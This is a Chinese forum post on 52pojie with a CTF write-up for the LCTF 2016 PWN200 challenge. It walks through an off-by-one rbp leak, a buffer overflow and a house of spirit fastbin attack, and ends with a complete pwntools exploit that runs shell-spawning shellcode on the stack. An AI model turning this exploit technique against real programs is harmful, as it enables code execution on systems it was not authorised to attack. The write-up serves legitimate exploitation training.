吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2492|回复: 4
收起左侧

[CTF] LCTF 2016 : PWN200

  [复制链接]
R00tkit 发表于 2023-8-10 16:07
本帖最后由 R00tkit 于 2023-9-22 19:48 编辑

前言

本体知识点讲解:https://bbs.kanxue.com/thread-277530.htm

检查文件信息

1

1

2

2

ELF64动态链接程序,经过strip,除了Partial RELRO保护以外一个没开,无NX包保护可以考虑shellcode,无FULL RELRO可考虑改got。这里用house of spirit

3

3

4

4

r2分析出其为ubuntu14.04编译,应该是ubuntu2.19,可以去libc-datase下载对应版本libc,我这里就用glibc2.23了

试运行

5

5
一个登陆程序。

逆向分析

/*Entry()函数*/
__int64 Entry()
{
  __int64 i; // [rsp+10h] [rbp-40h]
  char name[48]; // [rsp+20h] [rbp-30h] BYREF

  puts("who are u?");
  for ( i = 0LL; i <= 47; ++i )
  {
    read(0, &name[i], 1uLL);
    if ( name[i] == '\n' )
    {
      name[i] = 0;
      break;
    }
  }
  printf("%s, welcome to ISCC~ \n", name);
  puts("give me your id ~~?");
  get_num();
  return get_money();
}

这里存在off-by-one漏洞读取name的时候,如果填满0x30个将不会有'\x00'截断,并且name变量仅挨着rbp,可以用来泄露rbp。

/*get_num()函数*/
int get_num()
{
  char nptr[8]; // [rsp+0h] [rbp-10h] BYREF
  int v2; // [rsp+8h] [rbp-8h]
  int i; // [rsp+Ch] [rbp-4h]

  v2 = 0;
  for ( i = 0; i <= 3; ++i )
  {
    read(0, &nptr[i], 1uLL);
    if ( nptr[i] == 10 )
    {
      nptr[i] = 0;
      break;
    }
    if ( nptr[i] > '9' || nptr[i] <= '/' )
    {
      printf("0x%x ", (unsigned int)nptr[i]);
      return 0;
    }
  }
  v2 = atoi(nptr);
  if ( v2 >= 0 )
    return atoi(nptr);
  else
    return 0;
}
;Entry()函数调用get_num()之后的汇编代码

mov     eax, 0
call    get_num
cdqe
mov     [rbp+var_38], rax ;rax一般是用来保存函数返回值的寄存器
mov     eax, 0

查看Entry()函数尾部的汇编代码,看到get_num()函数的返回值保存在rbp-0x38的位置,紧挨着name变量。

/*get_money()函数*/

__int64 get_money()
{
  char buf[56]; // [rsp+0h] [rbp-40h] BYREF
  char *dest; // [rsp+38h] [rbp-8h]

  dest = (char *)malloc(0x40uLL);
  puts("give me money~");
  read(0, buf, 0x40uLL);
  strcpy(dest, buf);
  ptr = dest;
  Begin();
}

可以看到buf存在溢出,buf有0x38字节大小,却读入了0x40字节大小的数据,覆盖了dest指针。

/*Begin()函数*/
void Begin(void)
{
  int num; // eax

  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      num = get_num();
      if ( num != 2 )
        break;
      check_out();
    }
    if ( num == 3 )
      break;
    if ( num == 1 )
      check_in();
    else
      puts("invalid choice");
  }
  puts("good bye~");
}
/*check_in()函数*/
int check_in()
{
  int nbytes; // [rsp+Ch] [rbp-4h]

  if ( ptr )
    return puts("already check in");
  puts("how long?");
  nbytes = get_num();
  if ( nbytes <= 0 || nbytes > 0x80 )
    return puts("invalid length");
  ptr = malloc(nbytes);
  printf("give me more money : ");
  printf("\n%d\n", (unsigned int)nbytes);
  read(0, ptr, (unsigned int)nbytes);
  return puts("in~");
}
/*check_out()函数*/
void sub_40096D()
{
  if ( ptr )
  {
    puts("out~");
    free(ptr);
    ptr = 0LL;
  }
  else
  {
    puts("havn't check in");
  }
}

漏洞利用

利用house of spirit修改get_money()的返回地址为shellcode地址。

在栈上注入shellcode并泄露get_money_rbp地址。

def leek_rbp():
    global fake_addr
    global shellcode_addr

    shellcode = asm(shellcraft.sh())
    payload = shellcode.ljust(0x30, b'\x90')

    p.recvuntil(b'who are u?\n')
    p.send(payload)
    p.recvuntil(payload)
    rbp_addr = u64(p.recv(6).ljust(8, b'\x00'))
    log.info("rbp_addr: 0x%x" % rbp_addr)
    # 1
    gdb.attach(p)
    pause()
    shellcode_addr = rbp_addr - 0x50
    log.info("shellcode_addr: 0x%x" % shellcode_addr)
    fake_addr = rbp_addr - 0x90

6

6
栈空间由高向低增长,调用者的栈比被调用者的栈高,每次函数调用结束都会进行leave_ret,也就是(mov rbp, rsp; pop rbp; pop rip),递归调用函数会让rbp成为一个栈式链,由此可以推断每个函数的rbp是什麼。call指令每次调用会把下一条指令的地址压栈,然后才是调用函数,开始push rbp。rbp高一个size位就是ret执行的地方。

比如,标记的这个rbp地址(0x7ffd062acd40)是get_money()函数的rbp,这个rbp里保存的地址(泄露的)是Entry()函数的rbp(0x7ffd062acd60),shellcode距离泄露的Entry_rbp有0x50距离,标记ret就是其返回地址,也就是ret指令执行处,回到调用者执行流。

fake_addr之所以要-0x90,是因为在get_money的栈帧里,rbp-0x38的空间都是buf数组的,剩下0x8属于dest,这0x40空间都是可控的,方便接下来我们也可以由此控制rbp高0x8字节处的retaddr。

利用buf溢出使dest指向fake_addr

def overwrite_dest():
    p.recvuntil(b'give me your id ~~?\n')
    p.sendline(b'65') # 65即0x41,将shellcode的低地址改为0x41(size位)
    p.recvuntil(b'give me money~\n')
    data = p64(0) * 4 + p64(0) + p64(0x41) + p64(0) + p64(fake_addr) # \x00截断strcpy,防止改写dest
    p.send(data)
    # 2
    gdb.attach(p)
    pause()

7

7
1-get_money的rbp
2-get_money的retaddr
3-shellcode

我们知道,堆空间由低地址向高地址增长,栈由高向低增长,所以在低地址0x8处(rbp-0x38)的0x41就是shellcode的size位了。当我们free(dest)时,就是free(fake_addr),0x41大小的fake_chunk会被放入fastbin,get_money的retaddr距离我们的用户区域有0x18字节大小,接下来只需要把get_money的retaddr改为shellcode地址退出即可。

控制retaddr并修改get_money的retaddr为shellcode地址

def get_shell():
    p.recvuntil(b'choice : ')
    p.sendline(b'2')
    # 3
    gdb.attach(p)
    pause()

    p.recvuntil(b'choice : ')
    p.sendline(b'1')

    p.recvuntil(b'long?\n')
    p.sendline(b'48')
    p.recvline(b'48')

    data = b'\x90'*0x18 + p64(shellcode_addr)
    data = data.ljust(0x30, b'\x90')

    p.send(data)
    # 4
    gdb.attach(p)
    pause()

    p.recvuntil(b'choice')
    p.sendline(b'3')

    p.interactive()

9

9

8

8

当我们free(dest)后,可以看到fastbin里有了栈地址(rbp-0x100)。申请0x30大小就可以将其申请出来,其用户区偏移0x18处就是get_money_retaddr。

10

10

可以看到已经成功将get_money_retaddr修改为了shellcode地址。

11

11

完整exp

from pwn import *
context.terminal=['tmux', 'splitw', '-h']
context.arch='amd64'

elf = ELF('./pwn200')

p = process('./pwn200')
#p = remote('node4.buuoj.cn',25633)

def leek_rbp():
    global fake_addr
    global shellcode_addr

    shellcode = asm(shellcraft.sh())
    payload = shellcode.ljust(0x30, b'\x90')

    p.recvuntil(b'who are u?\n')
    p.send(payload)
    p.recvuntil(payload)
    rbp_addr = u64(p.recv(6).ljust(8, b'\x00'))
    log.info("rbp_addr: 0x%x" % rbp_addr)
    # 1
    #gdb.attach(p)
    #pause()
    shellcode_addr = rbp_addr - 0x50
    log.info("shellcode_addr: 0x%x" % shellcode_addr)
    fake_addr = rbp_addr - 0x90

def overwrite_dest():
    p.recvuntil(b'give me your id ~~?\n')
    p.sendline(b'65')
    p.recvuntil(b'give me money~\n')
    data = p64(0) * 4 + p64(0) + p64(0x41) + p64(0) + p64(fake_addr)
    p.send(data)
    # 2
    #gdb.attach(p)
    #pause()

def get_shell():
    p.recvuntil(b'choice : ')
    p.sendline(b'2')
    # 3
    gdb.attach(p)
    pause()

    p.recvuntil(b'choice : ')
    p.sendline(b'1')

    p.recvuntil(b'long?\n')
    p.sendline(b'48')
    p.recvline(b'48')

    data = b'\x90'*0x18 + p64(shellcode_addr)
    data = data.ljust(0x30, b'\x90')

    p.send(data)
    # 4
    gdb.attach(p)
    pause()

    p.recvuntil(b'choice')
    p.sendline(b'3')

    p.interactive()

def pwn():
    leek_rbp()
    overwrite_dest()
    get_shell()

if __name__ == '__main__':
    pwn()

免费评分

参与人数 5威望 +1 吾爱币 +24 热心值 +4 收起 理由
笙若 + 1 + 1 谢谢@Thanks!
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
wailjf1004 + 1 我很赞同!
dodolock + 1 + 1 我很赞同!
hrh123 + 1 + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

swl0515 发表于 2023-8-10 20:47
厉害支持
雨落惊鸿, 发表于 2023-8-11 14:13
winxpnt 发表于 2023-8-11 15:00
weiyanli 发表于 2023-8-14 11:05
感谢楼主精品分享,学习中
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-23 20:08

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表